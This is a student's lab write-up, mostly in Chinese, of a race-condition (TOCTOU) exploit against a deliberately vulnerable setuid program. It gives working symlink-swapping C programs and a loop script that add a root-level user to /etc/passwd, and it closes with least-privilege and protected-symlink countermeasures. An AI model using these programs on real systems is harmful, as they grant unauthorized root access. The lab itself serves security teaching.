

# Race Condition Vulnerability Lab

## Task 1: Choosing Our Target

```
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false
bind:x:124:131::/var/cache/bind:/bin/false
mysql:x:125:132:MySQL Server,,,:/nonexistent:/bin/false
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
:wq
```

如图，增加test用户，并将其用户id设置为0，在切换为test用户后，获取到了root权限

```
[05/26/21]seed@VM:~/.../lab8$ sudo vim /etc/passwd
[05/26/21]seed@VM:~/.../lab8$ su test
Password:
root@VM:/home/seed/Desktop/lab8#
```

## Task 2.A: Launching the Race Condition Attack

### 构造passwd\_input

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

### 新建shell脚本调用漏洞程序test.sh

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$(($CHECK_FILE))
new=$(($CHECK_FILE))
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$(($CHECK_FILE))
done
echo "STOP... The passwd file has been changed"
```

### 新建攻击程序，attack\_process.c,并编译

```
#include <unistd.h>

int main(){

    while(1)
    {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }

    return 0;
}
```

## 执行攻击

分别运行test.sh和attack\_process

- 第一次攻击-失败

运行十分钟后，检查XYZ文件，发现所有者变成了root，这是因为unlink和symlink的调用不是原子的，中间可能涉及到上下文切换，使得另一个进程执行fopen(fn, "a+")创建了属于root的新文件。

```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

```
[05/26/21]seed@VM:~/.../lab8$ ls -l /tmp/XYZ
-rw-rw-r-- 1 root seed 4013328 May 26 19:04 /tmp/XYZ
```

- 第二次攻击-成功

需要先将第一次攻击生成的/tmp/XYZ文件删除，再执行攻击

```
No permission
No permission
No permission
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$
```

## Task 2.B: An Improved Attack Method

### 修改攻击程序attack\_process.c,并编译

```
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(){

    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    while(1)
    {
        syscall(SYS_renameat2, 0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }

    return 0;
}
```

运行攻击程序后，再连续运行test.sh，发现每次都能很快攻击成功,这是因为该系统调用能够实现两个符号链接的交换，并且这种交换是原子的，不存在中途上下文切换导致权限变更的问题

```
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
No permission
No permission
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
No permission
No permission
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$ ./test.sh
No permission
No permission
STOP... The passwd file has been changed
[05/26/21]seed@VM:~/.../lab8$
```

## Task 3: Countermeasure: Applying the Principle of Least Privilege

修改vulp.c, 在打开文件前, 临时关闭root权限, 之后再恢复, 运行之后发现不能攻击成功, 说明防御措施有效。这是因为在打开文件前将用户的有效id设置成了用户的真实id, fopen系统调用会检查进程是否有打开文件的权限, 如果没有权限则打开文件失败。

```
#include <stdio.h>
#include<unistd.h>
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer );
```

```
uid_t real_uid = getuid(); //获取真实用户ID
uid_t eff_uid = geteuid(); //获取有效用户ID

seteuid(real_uid); //临时关闭root权限

fp = fopen(fn, "a+");
if(fp != NULL){
    fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);
}
else printf("No permission \n");

seteuid(eff_uid); //在对文件进行操作后，再打开root权限

}
```

运行结果如下

[illegible]

## Task 4: Countermeasure: Using Ubuntu's Built-in Scheme

使用命令 `sudo sysctl -w fs.protected_symlinks=1` 开启粘滞符号链接保护后，不能运行成功，交替打印“段错误”和“没有权限”

```
No permission
./test.sh: line 9: 25160 Segmentation fault      ./vulp < passwd_input
./test.sh: line 9: 25162 Segmentation fault      ./vulp < passwd_input
./test.sh: line 9: 25164 Segmentation fault      ./vulp < passwd_input
./test.sh: line 9: 25166 Segmentation fault      ./vulp < passwd_input
./test.sh: line 9: 25168 Segmentation fault      ./vulp < passwd_input
No permission
./test.sh: line 9: 25172 Segmentation fault      ./vulp < passwd_input
No permission
No permission
^C
```

## (1) How does this protection scheme work?

此保护机制只适用于人人可写的粘滞目录，如/tmp，开启保护时，全局可写的粘滞目录中的符号链接只能在符号链接的所有者、跟随着和目录所有者的其中之一相匹配时才能被跟随。本例中，漏洞程序是以root权限(即跟随者是root)运行的，/tmp目录的所有者也是root，但符号链接所有者是攻击者本身(不是root)，所以系统不允许程序使用该符号链接。如果试图使用，则系统会让它崩溃掉。

## (2) What are the limitations of this scheme

这种保护机制只适用于粘滞目录，对于其他类型目录的竞态条件无效。